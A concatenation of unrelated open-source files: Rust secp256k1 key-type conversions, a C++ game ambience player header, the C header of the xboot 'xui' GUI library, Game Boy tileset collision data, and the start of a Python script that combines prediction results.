secp256kfun/src/libsecp_compat.rs
|
delta1/secp256kfun
|
89c19f60a2ca33de967b1896f52282898d930be5
|
[
"0BSD"
] | null | null | null |
use crate::{
marker::*,
secp256k1::{PublicKey, SecretKey, XOnlyPublicKey},
Point, Scalar, XOnly,
};
impl From<Scalar> for SecretKey {
fn from(scalar: Scalar) -> Self {
SecretKey::from_slice(scalar.to_bytes().as_ref()).unwrap()
}
}
impl From<SecretKey> for Scalar {
fn from(sk: SecretKey) -> Self {
Scalar::from_slice(&sk[..])
.unwrap()
.mark::<NonZero>()
.expect("SecretKey is never zero")
}
}
impl From<PublicKey> for Point {
fn from(pk: PublicKey) -> Self {
Point::from_bytes(pk.serialize()).unwrap()
}
}
impl<T: Normalized> From<Point<T>> for PublicKey {
fn from(pk: Point<T>) -> Self {
PublicKey::from_slice(pk.to_bytes().as_ref()).unwrap()
}
}
impl From<XOnlyPublicKey> for XOnly {
fn from(pk: XOnlyPublicKey) -> Self {
XOnly::from_bytes(pk.serialize()).unwrap()
}
}
impl From<XOnly> for XOnlyPublicKey {
fn from(xonly: XOnly) -> Self {
XOnlyPublicKey::from_slice(xonly.as_bytes()).unwrap()
}
}
impl From<Point<EvenY>> for XOnlyPublicKey {
fn from(point: Point<EvenY>) -> Self {
point.to_xonly().into()
}
}
impl From<XOnlyPublicKey> for Point<EvenY> {
fn from(pk: XOnlyPublicKey) -> Self {
XOnly::from(pk).to_point()
}
}
#[cfg(test)]
mod test {
use super::*;
use core::str::FromStr;
use rand_core::RngCore;
#[test]
fn secret_key() {
let mut bytes = [0u8; 32];
rand::thread_rng().fill_bytes(&mut bytes);
let sk = SecretKey::from_slice(&bytes[..]).unwrap();
let scalar = Scalar::from(sk);
assert_eq!(&sk[..], scalar.to_bytes().as_ref());
}
#[test]
fn public_key() {
let pk = PublicKey::from_str("0479BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8").unwrap();
let point = Point::from(pk);
assert_eq!(pk.serialize().as_ref(), point.to_bytes().as_ref());
}
}
| 25.325 | 180 | 0.607601 |
c490e0c8792d5756998e818a1f719b6e44707502
| 2,496 |
h
|
C
|
SoA/AmbiencePlayer.h
|
Revan1985/SoACode-Public
|
c3ddd69355b534d5e70e2e6d0c489b4e93ab1ffe
|
[
"MIT"
] | 267 |
2018-06-03T23:05:05.000Z
|
2022-03-17T00:28:40.000Z
|
SoA/AmbiencePlayer.h
|
davidkestering/SoACode-Public
|
c3ddd69355b534d5e70e2e6d0c489b4e93ab1ffe
|
[
"MIT"
] | 16 |
2018-06-05T18:59:11.000Z
|
2021-09-28T05:05:16.000Z
|
SoA/AmbiencePlayer.h
|
davidkestering/SoACode-Public
|
c3ddd69355b534d5e70e2e6d0c489b4e93ab1ffe
|
[
"MIT"
] | 113 |
2018-06-03T23:56:13.000Z
|
2022-03-21T00:07:16.000Z
|
///
/// AmbiencePlayer.h
/// Seed of Andromeda
///
/// Created by Cristian Zaloj on 11 Jan 2015
/// Copyright 2014 Regrowth Studios
/// MIT License
///
/// Summary:
/// Plays ambience tracks with cross-fading
///
#pragma once
#ifndef AmbiencePlayer_h__
#define AmbiencePlayer_h__
#include <Vorb/Random.h>
#include <Vorb/sound/SoundInstance.h>
#include <Vorb/sound/SoundResource.h>
#include <Vorb/VorbPreDecl.inl>
#include "AmbienceStream.h"
DECL_VSOUND(class Engine)
class AmbienceLibrary;
/// Mixes ambient music for a game
/// TODO: Make this thread-safe and put it on another thread with begin/end
class AmbiencePlayer {
public:
/// Setup all player references
/// @param engine: Sound engine that will be used by this player
/// @param library: Reference to library of ambient songs
void init(vsound::Engine* engine, const AmbienceLibrary* library);
/// Destroy all streams held by the player
void dispose();
/// Play a new mix of ambient music
/// @param name: Name of the ambience (that must be found in the library) or "" to stop all music
/// @param fadeTime: Amount of time until this stream becomes dominant
void setToTrack(const nString& name, UNIT_SPACE(SECONDS) const f32& fadeTime);
/// Update streams, loading in music tracks as necessary
/// @param dt: Elapsed time since the last update
/// TODO: return volume-change bool to allow intelligent sleeping
void update(UNIT_SPACE(SECONDS) const f32& dt);
const f32& getVolume() const { return m_volume; }
void setVolume(f32 volume);
private:
/// A stream with a controller and sound information
struct SoundStream {
public:
AmbienceStream stream; ///< Stream controller
vsound::Resource resource; ///< Sound's resource data
vsound::Instance instance; ///< Playing sound handle
};
typedef std::unordered_map<nString, SoundStream> StreamMap;
UNIT_SPACE(SECONDS) f32 m_timerDisposal = 0.0f; ///< Time until dead streams are destroyed
vsound::Engine* m_engine = nullptr; ///< Reference to the sound engine
const AmbienceLibrary* m_lib = nullptr; ///< Reference to library of ambient sounds
StreamMap m_streams; ///< Currently playing ambience streams
Random m_rand; ///< Random number generator
f32 m_volume = 1.0f;
nString currentAmbience = ""; ///< Current ambience type
nString currentTrack = ""; ///< Currently playing track in the ambience stream
};
#endif // AmbiencePlayer_h__
| 33.72973 | 101 | 0.708333 |
5fad34455c37559729e2e5e8bf0cd817fd8bf202
| 17,926 |
h
|
C
|
src/include/xui/xui.h
|
HareGun/xboot
|
4cc7db09c622d45c42774d5cbedcfef683c9b735
|
[
"MIT"
] | 590 |
2015-08-05T03:00:17.000Z
|
2022-03-27T14:37:10.000Z
|
src/include/xui/xui.h
|
HareGun/xboot
|
4cc7db09c622d45c42774d5cbedcfef683c9b735
|
[
"MIT"
] | 22 |
2017-07-22T08:33:18.000Z
|
2022-03-30T06:38:42.000Z
|
src/include/xui/xui.h
|
HareGun/xboot
|
4cc7db09c622d45c42774d5cbedcfef683c9b735
|
[
"MIT"
] | 247 |
2015-07-06T10:13:48.000Z
|
2022-03-20T13:08:21.000Z
|
#ifndef __XUI_H__
#define __XUI_H__
#ifdef __cplusplus
extern "C" {
#endif
#include <xboot/window.h>
#include <input/keyboard.h>
#include <graphic/point.h>
#include <graphic/region.h>
#include <graphic/color.h>
#include <graphic/font.h>
#include <graphic/text.h>
#include <graphic/icon.h>
#define XUI_COMMAND_LIST_SIZE (256 * 1024)
#define XUI_ROOT_LIST_SIZE (32)
#define XUI_CONTAINER_STACK_SIZE (32)
#define XUI_CLIP_STACK_SIZE (32)
#define XUI_ID_STACK_SIZE (32)
#define XUI_LAYOUT_STACK_SIZE (32)
#define XUI_CONTAINER_POOL_SIZE (128)
#define XUI_SPRING_POOL_SIZE (128)
#define XUI_COLLAPSE_POOL_SIZE (128)
#define XUI_TREE_POOL_SIZE (128)
#define XUI_MAX_WIDTHS (32)
#define T(s) xui_translate(ctx, (s))
#define xui_push(stk, val) do { assert((stk).idx < (int)(sizeof((stk).items) / sizeof(*(stk).items))); (stk).items[(stk).idx] = (val); (stk).idx++; } while(0)
#define xui_pop(stk) do { assert((stk).idx > 0); (stk).idx--; } while(0)
enum {
XUI_OPT_NOINTERACT = (0x1 << 0),
XUI_OPT_NOSCROLL = (0x1 << 1),
XUI_OPT_HOLDFOCUS = (0x1 << 2),
XUI_OPT_CLOSED = (0x1 << 3),
XUI_OPT_TEXT_LEFT = (0x0 << 4),
XUI_OPT_TEXT_RIGHT = (0x1 << 4),
XUI_OPT_TEXT_TOP = (0x2 << 4),
XUI_OPT_TEXT_BOTTOM = (0x3 << 4),
XUI_OPT_TEXT_CENTER = (0x4 << 4),
};
enum {
XUI_KEY_POWER = (0x1 << 0),
XUI_KEY_UP = (0x1 << 1),
XUI_KEY_DOWN = (0x1 << 2),
XUI_KEY_LEFT = (0x1 << 3),
XUI_KEY_RIGHT = (0x1 << 4),
XUI_KEY_VOLUME_UP = (0x1 << 5),
XUI_KEY_VOLUME_DOWN = (0x1 << 6),
XUI_KEY_VOLUME_MUTE = (0x1 << 7),
XUI_KEY_TAB = (0x1 << 8),
XUI_KEY_HOME = (0x1 << 9),
XUI_KEY_BACK = (0x1 << 10),
XUI_KEY_MENU = (0x1 << 11),
XUI_KEY_ENTER = (0x1 << 12),
XUI_KEY_CTRL = (0x1 << 13),
XUI_KEY_ALT = (0x1 << 14),
XUI_KEY_SHIFT = (0x1 << 15),
};
enum {
XUI_MOUSE_LEFT = (0x1 << 0),
XUI_MOUSE_RIGHT = (0x1 << 1),
XUI_MOUSE_MIDDLE = (0x1 << 2),
XUI_MOUSE_X1 = (0x1 << 3),
XUI_MOUSE_X2 = (0x1 << 4),
};
enum xui_cmd_type_t {
XUI_CMD_TYPE_BASE = 0,
XUI_CMD_TYPE_JUMP = 1,
XUI_CMD_TYPE_CLIP = 2,
XUI_CMD_TYPE_LINE = 3,
XUI_CMD_TYPE_POLYLINE = 4,
XUI_CMD_TYPE_CURVE = 5,
XUI_CMD_TYPE_TRIANGLE = 6,
XUI_CMD_TYPE_RECTANGLE = 7,
XUI_CMD_TYPE_POLYGON = 8,
XUI_CMD_TYPE_CIRCLE = 9,
XUI_CMD_TYPE_ELLIPSE = 10,
XUI_CMD_TYPE_ARC = 11,
XUI_CMD_TYPE_SURFACE = 12,
XUI_CMD_TYPE_ICON = 13,
XUI_CMD_TYPE_TEXT = 14,
XUI_CMD_TYPE_GLASS = 15,
XUI_CMD_TYPE_GRADIENT = 16,
XUI_CMD_TYPE_CHECKERBOARD = 17,
};
struct xui_cmd_base_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
};
struct xui_cmd_jump_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
void * addr;
};
struct xui_cmd_clip_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
};
struct xui_cmd_line_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
struct point_t p0;
struct point_t p1;
int thickness;
struct color_t c;
};
struct xui_cmd_polyline_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int n;
int thickness;
struct color_t c;
struct point_t p[1];
};
struct xui_cmd_curve_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int n;
int thickness;
struct color_t c;
struct point_t p[1];
};
struct xui_cmd_triangle_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
struct point_t p0;
struct point_t p1;
struct point_t p2;
int thickness;
struct color_t c;
};
struct xui_cmd_rectangle_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int x, y, w, h;
int radius;
int thickness;
struct color_t c;
};
struct xui_cmd_polygon_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int n;
int thickness;
struct color_t c;
struct point_t p[1];
};
struct xui_cmd_circle_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int x, y;
int radius;
int thickness;
struct color_t c;
};
struct xui_cmd_ellipse_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int x, y, w, h;
int thickness;
struct color_t c;
};
struct xui_cmd_arc_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int x, y;
int radius;
int a1, a2;
int thickness;
struct color_t c;
};
struct xui_cmd_surface_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
struct surface_t * s;
struct matrix_t m;
int refresh;
};
struct xui_cmd_icon_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
const char * family;
uint32_t code;
int x, y, w, h;
struct color_t c;
};
struct xui_cmd_text_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int x, y;
struct color_t c;
struct text_t txt;
char utf8[1];
};
struct xui_cmd_glass_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int x, y, w, h;
int radius;
int refresh;
};
struct xui_cmd_gradient_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int x, y, w, h;
struct color_t lt;
struct color_t rt;
struct color_t rb;
struct color_t lb;
};
struct xui_cmd_checkerboard_t {
enum xui_cmd_type_t type;
int len;
struct region_t r;
int x, y, w, h;
};
union xui_cmd_t {
struct xui_cmd_base_t base;
struct xui_cmd_jump_t jump;
struct xui_cmd_clip_t clip;
struct xui_cmd_line_t line;
struct xui_cmd_polyline_t polyline;
struct xui_cmd_curve_t curve;
struct xui_cmd_triangle_t triangle;
struct xui_cmd_rectangle_t rectangle;
struct xui_cmd_polygon_t polygon;
struct xui_cmd_circle_t circle;
struct xui_cmd_ellipse_t ellipse;
struct xui_cmd_arc_t arc;
struct xui_cmd_surface_t surface;
struct xui_cmd_icon_t icon;
struct xui_cmd_text_t text;
struct xui_cmd_glass_t glass;
struct xui_cmd_gradient_t gradient;
struct xui_cmd_checkerboard_t checkerboard;
};
struct xui_pool_item_t {
unsigned int id;
int last_update;
};
struct xui_layout_t {
struct region_t body;
struct region_t next;
int position_x, position_y;
int size_width, size_height;
int max_width, max_height;
int widths[XUI_MAX_WIDTHS];
int items;
int item_index;
int next_row;
int next_type;
int indent;
};
struct xui_container_t {
union xui_cmd_t * head, * tail;
struct region_t region;
struct region_t body;
int content_width;
int content_height;
int scroll_x, scroll_y;
int scroll_vx, scroll_vy;
int noscroll;
int zindex;
int open;
};
struct xui_widget_color_t {
struct {
struct color_t background;
struct color_t foreground;
struct color_t border;
} normal;
struct {
struct color_t background;
struct color_t foreground;
struct color_t border;
} hover;
struct {
struct color_t background;
struct color_t foreground;
struct color_t border;
} active;
};
struct xui_style_t {
struct xui_widget_color_t primary;
struct xui_widget_color_t secondary;
struct xui_widget_color_t success;
struct xui_widget_color_t info;
struct xui_widget_color_t warning;
struct xui_widget_color_t danger;
struct xui_widget_color_t light;
struct xui_widget_color_t dark;
struct {
char icon_family[128];
char font_family[128];
struct color_t color;
int size;
} font;
struct {
int width;
int height;
int padding;
int spacing;
int indent;
} layout;
struct {
uint32_t close_icon;
int border_radius;
int border_width;
int title_height;
struct color_t background_color;
struct color_t border_color;
struct color_t title_color;
struct color_t text_color;
} window;
struct {
int border_radius;
int border_width;
struct color_t background_color;
struct color_t border_color;
} panel;
struct {
int width;
int radius;
struct color_t color;
} scroll;
struct {
int border_radius;
int border_width;
} collapse;
struct {
uint32_t collapsed_icon;
uint32_t expanded_icon;
int border_radius;
int border_width;
} tree;
struct {
int border_radius;
int border_width;
int outline_width;
} button;
struct {
uint32_t check_icon;
int border_radius;
int border_width;
int outline_width;
} checkbox;
struct {
int border_width;
int outline_width;
} radio;
struct {
int border_width;
int outline_width;
} toggle;
struct {
int border_radius;
int border_width;
} tabbar;
struct {
struct color_t invalid_color;
int border_width;
} slider;
struct {
int border_radius;
int border_width;
int outline_width;
} number;
struct {
int border_radius;
int border_width;
int outline_width;
} textedit;
struct {
int border_radius;
int border_width;
int outline_width;
} badge;
struct {
struct color_t invalid_color;
int border_radius;
} progress;
struct {
struct color_t invalid_color;
int width;
} radialbar;
struct {
int width;
} spinner;
struct {
int width;
} split;
};
struct xui_context_t {
/*
* Context
*/
struct window_t * w;
struct font_context_t * f;
struct hmap_t * lang;
struct region_t screen;
unsigned int cpshift;
unsigned int cpsize;
unsigned int cwidth;
unsigned int cheight;
unsigned int * cells[2];
unsigned int cindex;
unsigned int running;
ktime_t stamp;
ktime_t delta;
int frame;
int fps;
/*
* Core state
*/
struct xui_style_t style;
struct region_t clip;
unsigned int hover, ohover, hflag;
unsigned int active, oactive, aflag;
unsigned int last_id;
struct region_t last_rect;
int last_zindex;
unsigned int resize_id;
int resize_cursor_x;
int resize_cursor_y;
struct xui_container_t * hover_root;
struct xui_container_t * next_hover_root;
struct xui_container_t * scroll_target;
/*
* Stack
*/
struct {
int idx;
char items[XUI_COMMAND_LIST_SIZE];
} cmd_list;
struct {
int idx;
struct xui_container_t * items[XUI_ROOT_LIST_SIZE];
} root_list;
struct {
int idx;
struct xui_container_t * items[XUI_CONTAINER_STACK_SIZE];
} container_stack;
struct {
int idx;
struct region_t items[XUI_CLIP_STACK_SIZE];
} clip_stack;
struct {
int idx;
unsigned int items[XUI_ID_STACK_SIZE];
} id_stack;
struct {
int idx;
struct xui_layout_t items[XUI_LAYOUT_STACK_SIZE];
} layout_stack;
/*
* Retained state pool
*/
struct xui_pool_item_t container_pool[XUI_CONTAINER_POOL_SIZE];
struct xui_container_t containers[XUI_CONTAINER_POOL_SIZE];
struct xui_pool_item_t spring_pool[XUI_SPRING_POOL_SIZE];
struct spring_t springs[XUI_SPRING_POOL_SIZE];
struct xui_pool_item_t collapse_pool[XUI_COLLAPSE_POOL_SIZE];
struct xui_pool_item_t tree_pool[XUI_TREE_POOL_SIZE];
/*
* Input state
*/
struct {
int x, y, zx, zy;
int state, down, up;
int ox, oy, dx, dy;
int tx, ty, vx, vy;
ktime_t tdown, tmove;
} mouse;
int key_down;
int key_pressed;
char input_text[32];
/*
* Misc
*/
char fmtbuf[4096];
/*
* Private
*/
void * priv;
};
static inline void xui_hash(unsigned int * h, const void * data, int size)
{
const unsigned char * p = data;
while(size--)
*h = (*h << 5) + *h + (*p++);
}
static inline void xui_set_front(struct xui_context_t * ctx, struct xui_container_t * c)
{
c->zindex = ++ctx->last_zindex;
}
static inline unsigned int xui_get_id(struct xui_context_t * ctx, const void * data, int size)
{
unsigned int h = (ctx->id_stack.idx > 0) ? ctx->id_stack.items[ctx->id_stack.idx - 1] : 5381;
xui_hash(&h, data, size);
ctx->last_id = h;
return h;
}
static inline void xui_push_id(struct xui_context_t * ctx, const void * data, int size)
{
xui_push(ctx->id_stack, xui_get_id(ctx, data, size));
}
static inline void xui_pop_id(struct xui_context_t * ctx)
{
xui_pop(ctx->id_stack);
}
static inline struct region_t * xui_get_clip(struct xui_context_t * ctx)
{
return &ctx->clip_stack.items[ctx->clip_stack.idx - 1];
}
static inline void xui_push_clip(struct xui_context_t * ctx, struct region_t * r)
{
struct region_t clip;
if(!region_intersect(&clip, r, xui_get_clip(ctx)))
region_init(&clip, 0, 0, 0, 0);
xui_push(ctx->clip_stack, clip);
}
static inline void xui_pop_clip(struct xui_context_t * ctx)
{
xui_pop(ctx->clip_stack);
}
static inline struct xui_layout_t * xui_get_layout(struct xui_context_t * ctx)
{
return &ctx->layout_stack.items[ctx->layout_stack.idx - 1];
}
static inline struct xui_container_t * xui_get_container(struct xui_context_t * ctx)
{
return ctx->container_stack.items[ctx->container_stack.idx - 1];
}
static inline union xui_cmd_t * xui_cmd_push(struct xui_context_t * ctx, enum xui_cmd_type_t type, int len, struct region_t * r)
{
union xui_cmd_t * cmd = (union xui_cmd_t *)(ctx->cmd_list.items + ctx->cmd_list.idx);
cmd->base.type = type;
cmd->base.len = len;
region_clone(&cmd->base.r, r);
ctx->cmd_list.idx += len;
return cmd;
}
static inline union xui_cmd_t * xui_cmd_push_jump(struct xui_context_t * ctx, union xui_cmd_t * addr)
{
union xui_cmd_t * cmd = xui_cmd_push(ctx, XUI_CMD_TYPE_JUMP, sizeof(struct xui_cmd_jump_t), &(struct region_t){0, 0, INT_MAX, INT_MAX});
cmd->jump.addr = addr;
return cmd;
}
static inline union xui_cmd_t * xui_cmd_push_clip(struct xui_context_t * ctx, struct region_t * r)
{
return xui_cmd_push(ctx, XUI_CMD_TYPE_CLIP, sizeof(struct xui_cmd_clip_t), r);
}
static inline const char * xui_translate(struct xui_context_t * ctx, const char * s)
{
const char * v = NULL;
if(ctx->lang)
v = hmap_search(ctx->lang, s);
return v ? v : s;
}
static inline void xui_exit(struct xui_context_t * ctx)
{
ctx->running = 0;
}
void xui_begin(struct xui_context_t * ctx);
void xui_end(struct xui_context_t * ctx);
const char * xui_format(struct xui_context_t * ctx, const char * fmt, ...);
int xui_pool_init(struct xui_context_t * ctx, struct xui_pool_item_t * items, int len, unsigned int id);
int xui_pool_get(struct xui_context_t * ctx, struct xui_pool_item_t * items, int len, unsigned int id);
void xui_pool_update(struct xui_context_t * ctx, struct xui_pool_item_t * items, int idx);
void xui_draw_line(struct xui_context_t * ctx, struct point_t * p0, struct point_t * p1, int thickness, struct color_t * c);
void xui_draw_polyline(struct xui_context_t * ctx, struct point_t * p, int n, int thickness, struct color_t * c);
void xui_draw_curve(struct xui_context_t * ctx, struct point_t * p, int n, int thickness, struct color_t * c);
void xui_draw_triangle(struct xui_context_t * ctx, struct point_t * p0, struct point_t * p1, struct point_t * p2, int thickness, struct color_t * c);
void xui_draw_rectangle(struct xui_context_t * ctx, int x, int y, int w, int h, int radius, int thickness, struct color_t * c);
void xui_draw_polygon(struct xui_context_t * ctx, struct point_t * p, int n, int thickness, struct color_t * c);
void xui_draw_circle(struct xui_context_t * ctx, int x, int y, int radius, int thickness, struct color_t * c);
void xui_draw_ellipse(struct xui_context_t * ctx, int x, int y, int w, int h, int thickness, struct color_t * c);
void xui_draw_arc(struct xui_context_t * ctx, int x, int y, int radius, int a1, int a2, int thickness, struct color_t * c);
void xui_draw_surface(struct xui_context_t * ctx, struct surface_t * s, struct matrix_t * m, int refresh);
void xui_draw_icon(struct xui_context_t * ctx, const char * family, uint32_t code, int x, int y, int w, int h, struct color_t * c);
void xui_draw_text(struct xui_context_t * ctx, int x, int y, struct text_t * txt);
void xui_draw_text_align(struct xui_context_t * ctx, const char * family, int size, const char * utf8, struct region_t * r, int wrap, struct color_t * c, int opt);
void xui_draw_glass(struct xui_context_t * ctx, int x, int y, int w, int h, int radius, int refresh);
void xui_draw_gradient(struct xui_context_t * ctx, int x, int y, int w, int h, struct color_t * lt, struct color_t * rt, struct color_t * rb, struct color_t * lb);
void xui_draw_checkerboard(struct xui_context_t * ctx, int x, int y, int w, int h);
struct xui_container_t * get_container(struct xui_context_t * ctx, unsigned int id, int opt);
void push_container_body(struct xui_context_t * ctx, struct xui_container_t * c, struct region_t * body);
void pop_container(struct xui_context_t * ctx);
void scroll_begin(struct xui_context_t * ctx, struct xui_container_t * c, int opt);
void scroll_end(struct xui_context_t * ctx, struct xui_container_t * c);
void xui_control_update(struct xui_context_t * ctx, unsigned int id, struct region_t * r, int opt);
void xui_layout_width(struct xui_context_t * ctx, int width);
void xui_layout_height(struct xui_context_t * ctx, int height);
void xui_layout_row(struct xui_context_t * ctx, int items, const int * widths, int height);
void xui_layout_begin_column(struct xui_context_t * ctx);
void xui_layout_end_column(struct xui_context_t * ctx);
void xui_layout_set_next(struct xui_context_t * ctx, struct region_t * r, int relative);
struct region_t * xui_layout_next(struct xui_context_t * ctx);
struct xui_context_t * xui_context_alloc(const char * fb, const char * input, void * data);
void xui_context_free(struct xui_context_t * ctx);
void xui_load_style(struct xui_context_t * ctx, const char * json, int len);
void xui_load_lang(struct xui_context_t * ctx, const char * json, int len);
void xui_add_font(struct xui_context_t * ctx, const char * family, const char * path);
void xui_loop(struct xui_context_t * ctx, void (*func)(struct xui_context_t *));
#ifdef __cplusplus
}
#endif
#endif /* __XUI_H__ */
| 24.522572 | 164 | 0.694968 |
6b694d9ce2965cab26f631d10e3f09b1d304052a
| 3,987 |
asm
|
Assembly
|
data/tilesets/cinnabar_collision.asm
|
Trap-Master/spacworld97-thingy
|
a144827abecacdfec6cdc3baa32098e9290adf70
|
[
"blessing"
] | null | null | null |
data/tilesets/cinnabar_collision.asm
|
Trap-Master/spacworld97-thingy
|
a144827abecacdfec6cdc3baa32098e9290adf70
|
[
"blessing"
] | null | null | null |
data/tilesets/cinnabar_collision.asm
|
Trap-Master/spacworld97-thingy
|
a144827abecacdfec6cdc3baa32098e9290adf70
|
[
"blessing"
] | null | null | null |
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 00
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 01
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 02
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 03
tilecoll WALL, WALL, WALL, WALL ; 04
tilecoll WALL, WALL, DOOR, WALL ; 05
tilecoll WALL, WALL, WALL, WALL ; 06
tilecoll WALL, WALL, WALL, WALL ; 07
tilecoll WALL, WALL, WALL, WALL ; 08
tilecoll WALL, WALL, WALL, WALL ; 09
tilecoll WALL, WALL, WALL, DOOR ; 0a
tilecoll WALL, WALL, WALL, WALL ; 0b
tilecoll WALL, WALL, WALL, WALL ; 0c
tilecoll WALL, WALL, WALL, DOOR ; 0d
tilecoll WALL, WALL, WALL, WALL ; 0e
tilecoll WALL, WALL, WALL, WALL ; 0f
tilecoll WALL, WALL, WALL, WALL ; 10
tilecoll WALL, WALL, DOOR, WALL ; 11
tilecoll WALL, WALL, WALL, WALL ; 12
tilecoll WALL, WALL, WALL, WALL ; 13
tilecoll WALL, WALL, WALL, DOOR ; 14
tilecoll WALL, WALL, WALL, WALL ; 15
tilecoll WALL, WALL, WALL, WALL ; 16
tilecoll WALL, WALL, WALL, WALL ; 17
tilecoll WALL, WALL, WALL, WALL ; 18
tilecoll WALL, WALL, WALL, WALL ; 19
tilecoll WALL, WALL, WALL, WALL ; 1a
tilecoll WALL, WALL, WALL, WALL ; 1b
tilecoll WALL, WALL, WALL, WALL ; 1c
tilecoll WALL, WALL, WALL, DOOR ; 1d
tilecoll WALL, WALL, DOOR, WALL ; 1e
tilecoll WALL, WALL, WALL, WALL ; 1f
tilecoll WALL, WALL, WALL, WALL ; 20
tilecoll WALL, WALL, WALL, WALL ; 21
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 22
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 23
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 24
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 25
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 26
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 27
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 28
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 29
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2a
tilecoll WATER, WATER, WATER, WATER ; 2b
tilecoll WALL, WALL, WALL, DOOR ; 2c
tilecoll WALL, WALL, WALL, WALL ; 2d
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2e
tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 2f
tilecoll WATER, WATER, WATER, WATER ; 30
tilecoll WATER, WATER, WATER, WATER ; 31
tilecoll WATER, WATER, WATER, WATER ; 32
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 33
tilecoll WATER, WATER, WATER, WATER ; 34
tilecoll WATER, WATER, WATER, WATER ; 35
tilecoll WATER, WATER, WATER, WATER ; 36
tilecoll WATER, WATER, WATER, WATER ; 37
tilecoll WATER, WATER, WATER, WATER ; 38
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 39
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3a
tilecoll WALL, WALL, WALL, WALL ; 3b
tilecoll WALL, HOP_DOWN_LEFT, WALL, WALL ; 3c
tilecoll HOP_DOWN_RIGHT, WALL, WALL, WALL ; 3d
tilecoll WALL, WALL, WALL, WALL ; 3e
tilecoll WALL, WALL, WALL, WALL ; 3f
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 40
tilecoll FLOOR, HOP_DOWN, FLOOR, WALL ; 41
tilecoll WALL, WALL, WALL, WALL ; 42
tilecoll FLOOR, FLOOR, WALL, FLOOR ; 43
tilecoll WALL, FLOOR, WALL, FLOOR ; 44
tilecoll HOP_RIGHT, WALL, HOP_RIGHT, WALL ; 45
tilecoll FLOOR, FLOOR, FLOOR, WALL ; 46
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 47
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 48
tilecoll WALL, WALL, WALL, WALL ; 49
tilecoll WALL, WALL, WALL, WALL ; 4a
tilecoll WALL, WALL, WALL, WALL ; 4b
tilecoll WALL, WALL, WALL, WALL ; 4c
tilecoll WALL, WALL, WALL, WALL ; 4d
tilecoll WALL, WALL, WALL, WALL ; 4e
tilecoll WALL, WALL, WALL, WALL ; 4f
tilecoll WALL, WALL, WALL, WALL ; 50
tilecoll WALL, WALL, WALL, WALL ; 51
tilecoll WALL, WALL, WALL, WALL ; 52
tilecoll WALL, WALL, WALL, WALL ; 53
tilecoll WALL, WALL, WALL, WALL ; 54
tilecoll WALL, WALL, WALL, WALL ; 55
tilecoll WALL, WALL, WALL, WALL ; 56
tilecoll FLOOR, WALL, FLOOR, CUT_TREE ; 57
tilecoll FLOOR, WALL, FLOOR, WALL ; 58
tilecoll WALL, FLOOR, WALL, FLOOR ; 59
tilecoll CUT_TREE, FLOOR, FLOOR, CUT_TREE ; 5a
tilecoll FLOOR, CUT_TREE, FLOOR, FLOOR ; 5b
tilecoll CUT_TREE, CUT_TREE, FLOOR, FLOOR ; 5c
tilecoll FLOOR, CUT_TREE, CUT_TREE, FLOOR ; 5d
tilecoll FLOOR, FLOOR, CUT_TREE, FLOOR ; 5e
tilecoll WALL, WALL, WALL, WALL ; 5f
tilecoll WALL, WALL, WALL, WALL ; 60
tilecoll WALL, WALL, WALL, WALL ; 61
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 62
| 39.87 | 47 | 0.702032 |
e7fca20cce05d1364eee53a17bec476012eb661d
| 2,177 |
py
|
Python
|
dropconnect/combine_pred_mod.py
|
zygmuntz/kaggle-cifar
|
16936af9cf621d668c50491291e042a7849a1ac3
|
[
"BSD-2-Clause"
] | 26 |
2015-01-12T18:00:50.000Z
|
2020-12-19T23:49:16.000Z
|
dropconnect/combine_pred_mod.py
|
zygmuntz/kaggle-cifar
|
16936af9cf621d668c50491291e042a7849a1ac3
|
[
"BSD-2-Clause"
] | null | null | null |
dropconnect/combine_pred_mod.py
|
zygmuntz/kaggle-cifar
|
16936af9cf621d668c50491291e042a7849a1ac3
|
[
"BSD-2-Clause"
] | 26 |
2015-01-10T22:35:01.000Z
|
2020-01-15T08:56:53.000Z
|
#------------------------------------------
# this script combine result of different
# nets and report final result
#------------------------------------------
import sys
import numpy as np
from util import pickle, unpickle
def evaluate_result( result, text ):
# pre-condition check
num_batches = len( result['labels'] )
assert( num_batches == len(result['labels']) )
# compute error
num_cases = 0
num_wrong = 0
for ii in range( num_batches ):
act_index = result['labels'][ii]
